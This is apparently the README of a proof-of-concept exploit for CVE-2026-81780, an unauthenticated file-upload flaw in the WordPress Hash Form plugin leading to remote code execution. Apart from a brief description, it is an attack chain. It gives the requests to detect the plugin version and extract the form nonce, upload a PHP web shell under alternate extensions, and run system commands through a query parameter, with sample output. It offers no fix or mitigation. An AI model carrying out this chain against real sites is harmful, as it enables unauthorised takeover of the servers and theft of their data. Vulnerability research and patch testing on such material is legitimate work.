CVE-2026-81780-Hash-Form

CVE-2026-81780 — Hash Form RCE

The Vulnerability

Unauthenticated file upload in WordPress Hash Form plugin (≤ 1.4.2). The plugin allows arbitrary file uploads without proper authentication or file type validation, leading to Remote Code Execution (RCE).

Exploit Chain

Step Action 1 Attacker checks for Hash Form plugin via readme.txt 2 Extracts ajax_nounce by previewing forms (hashform_preview) 3 Sends POST request to hashform_file_upload_action with PHP payload 4 Uploads web shell as .phar, .phtml, .php5, or .php7 5 Triggers shell by accessing /wp-content/uploads/hashform/temp/v.{ext} 6 Executes system commands via ?c=id

GET /wp-content/plugins/hash-form/readme.txt
    ↓
Version Detected (≤ 1.4.2)
    ↓
GET /wp-admin/admin-ajax.php?action=hashform_preview&form=1
    ↓
Extract Nonce: ajax_nounce=...
    ↓
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action
    ↓
Upload: v.phar (or .phtml, .php5, .php7)
    ↓
GET /wp-content/uploads/hashform/temp/v.phar?c=id
    ↓
Command Executed (uid=www-data)```